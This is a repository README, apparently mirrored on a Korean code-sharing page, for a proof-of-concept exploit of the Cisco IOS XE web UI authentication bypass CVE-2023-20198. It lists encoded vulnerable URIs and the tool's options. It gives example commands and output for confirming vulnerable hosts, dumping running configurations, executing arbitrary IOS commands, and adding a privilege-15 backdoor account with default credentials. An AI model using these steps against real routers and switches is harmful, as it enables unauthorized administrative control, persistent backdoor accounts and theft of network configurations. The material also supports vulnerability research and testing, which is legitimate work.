CVE-2023-20198

KO | EN

gitlite — search

#javascript #python #hacktoberfest #react #golang #machine-learning #docker #macos #cli #kubernetes #awesome-list #vue #mcp #open-source

(★ 66)

CVE-2023-20198 Exploit PoC

파일 탐색기

최종 버전 다운로드 (.zip)

exploit.py
README.md

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# CVE-2023-20198
Exploit PoC for CVE-2023-20198

## Description
CVE-2023-20198 is characterized by improper path validation to bypass Nginx filtering to reach the `webui_wsma_http` web endpoint without requiring authentication. 
By bypassing authentication to the endpoint, an attacker can execute arbitrary Cisco IOS commands or issue configuration changes with Privilege 15 privileges. 
Cisco's investigation into active exploitation of the previously undisclosed vulnerability revealed threat actors first exploited CVE-2023-20198 to add a new user with Privilege level 15. Further attacks involved exploitation of CVE-2023-20273 to escalate to the underlying Linux OS `root` user to facilitate implantation.

This PoC exploits CVE-2023-20198 to leverage two different XML SOAP endpoints: 
The vulnerability check, config, and command execution options all target the `cisco:wsma-exec` SOAP endpoint to insert commands into the `execCLI` element tag. 
The add user option targets the `cisco:wsma-config` SOAP endpoint to issue a configuration change and add the Privilege 15 account. This endpoint could be [ab]used to make other configuration changes, but thats outside the scope of this PoC.

Abuse of the `cisco:wsma-exec` SOAP endpoint came from the nuclei template 
Abuse of the `cisco:wsma-config` SOAP endpoint came from the horizon3ai PoC

Note: I did not conduct any of the original research or PoC development for this CVE. See the references section for credit.

CVE-2023-20198 Exploit PoC

options:
  -h, --help          show this help message and exit
  -t targetIP         Target IP Address
  -l targetFile       File containing IP Addresses (-c only)
  -https              Use https
  -uri vulnerableURI  The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
  -c                  [X] Check for vulnerability
  -g                  [X] Get Cisco IOS running config
  -e command          [X] Execute Cisco IOS command
  -a                  [X] Add new priv 15 user
  -d                  [X] Remove priv 15 user
  -u newUserName      [Optional] user name for -a or -d. Default: shellsmoke
  -p newUserPass      [Optional] new user pass for -a. Default: pwned
  -o outputFile       Write output to file
  -v                  Increase verbosity

```

### Vulnerability check
To check for CVE-2023-20198, `-c` will attempt to exploit the vulnerability to execute `uname -a` 
Example:
```
# ./exploit.py -t 10.0.0.1 -c

Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
```

### Get Cisco Config
The `-g` option executes `sh run` to pull the running config 
Example:
```
# ./exploit.py -t 10.0.0.1 -g

Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
```

### Execute commands
Arbitrary Cisco IOS commands can be executed with the `-e` option. 
Extreme caution should be used when using this to make configuration changes. There is no input validation and changes are applied immediately to the running config. 
Example:
```
# ./exploit.py -t 10.0.0.1 -e 'sh log'

Selected Target:        10.0.0.1
Running in Exec Mode
Executing Command:      sh log

Sending exploit to target URL:  http://10.0.0.1/%2577eb%2575i_%2577sma_Http

Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
    Console logging: level debugging, 5368 messages logged, xml disabled,
                     filtering disabled
...
```

### Add user
The `-a` option can be used to create a new Privilege 15 user account, optionally specifying the account name and password with `-u` and `-p` respectively. 
Example:
```
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned

Selected Target:        10.0.0.1
Adding New Privilege 15 User
New User Name:  shellsmoke
New User Pass:  pwned

Sending exploit to target URL:  http://10.0.0.1/%2577eb%2575i_%2577sma_Http

No reportable output from adding users
Check verbose ouput or get running config
Done.
```

### Del user
The `-d` option can be used to remove a user account from the device, and respects the username specified with `-u`. 
Caution should be used to make sure you aren't deleting a legitimate account. 
This was added for instances where shell/webui access to an exploited Cisco can not be obtained. It was observed that adding a Privilege 15 user does not grant webui access and could lead to leaving exploitation artifacts on hosts.

## References
[Cisco Advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z) 
[horizon3ai CVE-2023-20198 research](https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/) 
[horizon3ai CVE-2023-20198 PoC](https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/) 
[nuclei CVE-2023-20198 template](https://cloud.projectdiscovery.io/public/CVE-2023-20198) (Authors: iamnoooob, rootxharsh, pdresearch) 
[LeakIX CVE-2023-20273 PoC](https://blog.leakix.net/2023/10/cisco-root-privesc/)

## TODO
- [ ] https support
- [ ] CVE-2023-20273 Implementation
- [ ] Timeout and error handling

## Disclaimer
The code contained in this project is intended only for research and usage on systems where the user has explicit authorization. 
The author of this project is not responsible or liable for misuse of the software. 
Use responsibly and don't be evil

CVE-2023-20198

파일 탐색기

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

CVE-2023-20198

파일 탐색기

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README